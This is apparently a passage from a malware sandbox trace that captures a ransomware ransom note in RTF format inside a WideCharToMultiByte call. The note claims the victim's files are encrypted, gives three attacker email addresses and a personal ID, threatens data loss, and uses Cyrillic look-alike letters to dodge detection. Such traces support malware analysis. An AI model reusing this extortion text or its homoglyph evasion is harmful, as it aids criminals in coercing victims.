t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.579] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f 